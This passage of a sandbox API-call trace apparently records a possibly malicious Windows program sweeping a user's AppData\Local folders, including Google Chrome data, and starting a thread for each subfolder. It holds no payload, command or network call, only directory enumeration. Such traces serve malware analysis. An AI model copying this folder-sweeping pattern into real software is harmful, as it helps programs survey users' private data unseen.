(_String1="Windows Media Player.lnk", _String2="..") returned 1 [0048.959] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0048.959] wcscmp (_String1="XPS Viewer.lnk", _String2=".") returned 1 [0048.959] wcscmp (_String1="XPS Viewer.lnk", _String2="..") returned 1 [0048.959] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0048.959] FindClose (in: hFindFile=0x40a068 | out: hFindFile=0x40a068) returned 1 [0048.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430d40) returned 1 [0048.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419478) returned 1 [0048.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419298) returned 1 Thread: id = 338 os_tid = 0xc2c [0048.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421888 [0048.595] wcscpy (in: _Dest=0x421888, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0048.595] wcscat (in: _Dest=0x421888, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0048.595] wcscat (in: _Dest=0x421888, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*" [0048.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430ad8 [0048.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f68 [0048.595] wcscmp (_String1=".", _String2=".") returned 0 [0048.595] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.595] wcscmp (_String1="..", _String2=".") returned 1 [0048.595] wcscmp (_String1="..", _String2="..") returned 0 [0048.596] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0048.596] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0048.596] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0048.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x3ffd18 [0048.596] wcscpy (in: _Dest=0x3ffd18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0048.596] wcscat (in: _Dest=0x3ffd18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0048.596] wcscat (in: _Dest=0x3ffd18, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0049.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3ffd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0049.065] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0049.065] wcscmp (_String1="Color", _String2=".") returned 1 [0049.065] wcscmp (_String1="Color", _String2="..") returned 1 [0049.065] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418a28 [0049.065] wcscpy (in: _Dest=0x418a28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0049.065] wcscat (in: _Dest=0x418a28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0049.065] wcscat (in: _Dest=0x418a28, _Source="Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0049.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0049.066] FindNextFileW (in: hFindFile=0x409f68, lpFindFileData=0x430ad8 | out: lpFindFileData=0x430ad8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0049.066] FindClose (in: hFindFile=0x409f68 | out: hFindFile=0x409f68) returned 1 [0049.066] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430ad8) returned 1 [0049.067] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421888) returned 1 [0049.067] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421498) returned 1 Thread: id = 339 os_tid = 0xc30 [0048.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4475c8 [0048.596] wcscpy (in: _Dest=0x4475c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" [0048.596] wcscat (in: _Dest=0x4475c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\" [0048.596] wcscat (in: _Dest=0x4475c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*" [0048.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430608 [0048.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430608) returned 1 [0048.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4475c8) returned 1 [0048.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4477e8) returned 1 Thread: id = 340 os_tid = 0xc34 [0048.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421818 [0048.598] wcscpy (in: _Dest=0x421818, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0048.598] wcscat (in: _Dest=0x421818, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\" [0048.598] wcscat (in: _Dest=0x421818, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*" [0048.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430608 [0048.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3a8 [0048.599] wcscmp (_String1=".", _String2=".") returned 0 [0048.599] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.599] wcscmp (_String1="..", _String2=".") returned 1 [0048.599] wcscmp (_String1="..", _String2="..") returned 0 [0048.599] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0048.599] wcscmp (_String1="2.0", _String2=".") returned 1 [0048.599] wcscmp (_String1="2.0", _String2="..") returned 1 [0048.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e45ff8 [0048.599] wcscpy (in: _Dest=0x5e45ff8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0048.599] wcscat (in: _Dest=0x5e45ff8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\" [0048.599] wcscat (in: _Dest=0x5e45ff8, _Source="2.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0" [0049.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e45ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0049.019] FindNextFileW (in: hFindFile=0x40a3a8, lpFindFileData=0x430608 | out: lpFindFileData=0x430608*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0 [0049.019] FindClose (in: hFindFile=0x40a3a8 | out: hFindFile=0x40a3a8) returned 1 [0049.019] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430608) returned 1 [0049.019] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421818) returned 1 [0049.019] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420f58) returned 1 Thread: id = 341 os_tid = 0xc38 [0048.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400618 [0048.599] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" [0048.599] wcscat (in: _Dest=0x400618, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\" [0048.599] wcscat (in: _Dest=0x400618, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*" [0048.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0048.600] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e68 [0048.600] wcscmp (_String1=".", _String2=".") returned 0 [0048.600] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.600] wcscmp (_String1="..", _String2=".") returned 1 [0048.600] wcscmp (_String1="..", _String2="..") returned 0 [0048.600] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0048.600] FindClose (in: hFindFile=0x409e68 | out: hFindFile=0x409e68) returned 1 [0048.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0048.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 [0048.600] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45e90) returned 1 Thread: id = 342 os_tid = 0xc3c [0048.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5e45e90 [0048.604] wcscpy (in: _Dest=0x5e45e90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0048.604] wcscat (in: _Dest=0x5e45e90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0048.604] wcscat (in: _Dest=0x5e45e90, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*" [0048.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0048.604] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e68 [0048.605] wcscmp (_String1=".", _String2=".") returned 0 [0048.605] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.605] wcscmp (_String1="..", _String2=".") returned 1 [0048.605] wcscmp (_String1="..", _String2="..") returned 0 [0048.605] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0048.605] wcscmp (_String1="Chrome", _String2=".") returned 1 [0048.605] wcscmp (_String1="Chrome", _String2="..") returned 1 [0048.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400618 [0048.605] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0048.605] wcscat (in: _Dest=0x400618, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0048.605] wcscat (in: _Dest=0x400618, _Source="Chrome" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome" [0049.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0049.021] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0049.021] wcscmp (_String1="CrashReports", _String2=".") returned 1 [0049.021] wcscmp (_String1="CrashReports", _String2="..") returned 1 [0049.021] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447760 [0049.021] wcscpy (in: _Dest=0x447760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0049.021] wcscat (in: _Dest=0x447760, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\" [0049.021] wcscat (in: _Dest=0x447760, _Source="CrashReports" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports" [0049.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0049.022] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0049.022] FindClose (in: hFindFile=0x409e68 | out: hFindFile=0x409e68) returned 1 [0049.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0049.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45e90) returned 1 [0049.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421428) returned 1 Thread: id = 343 os_tid = 0xc40 [0048.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e46070 [0048.605] wcscpy (in: _Dest=0x5e46070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" [0048.605] wcscat (in: _Dest=0x5e46070, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\" [0048.605] wcscat (in: _Dest=0x5e46070, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*" [0048.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0048.605] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, 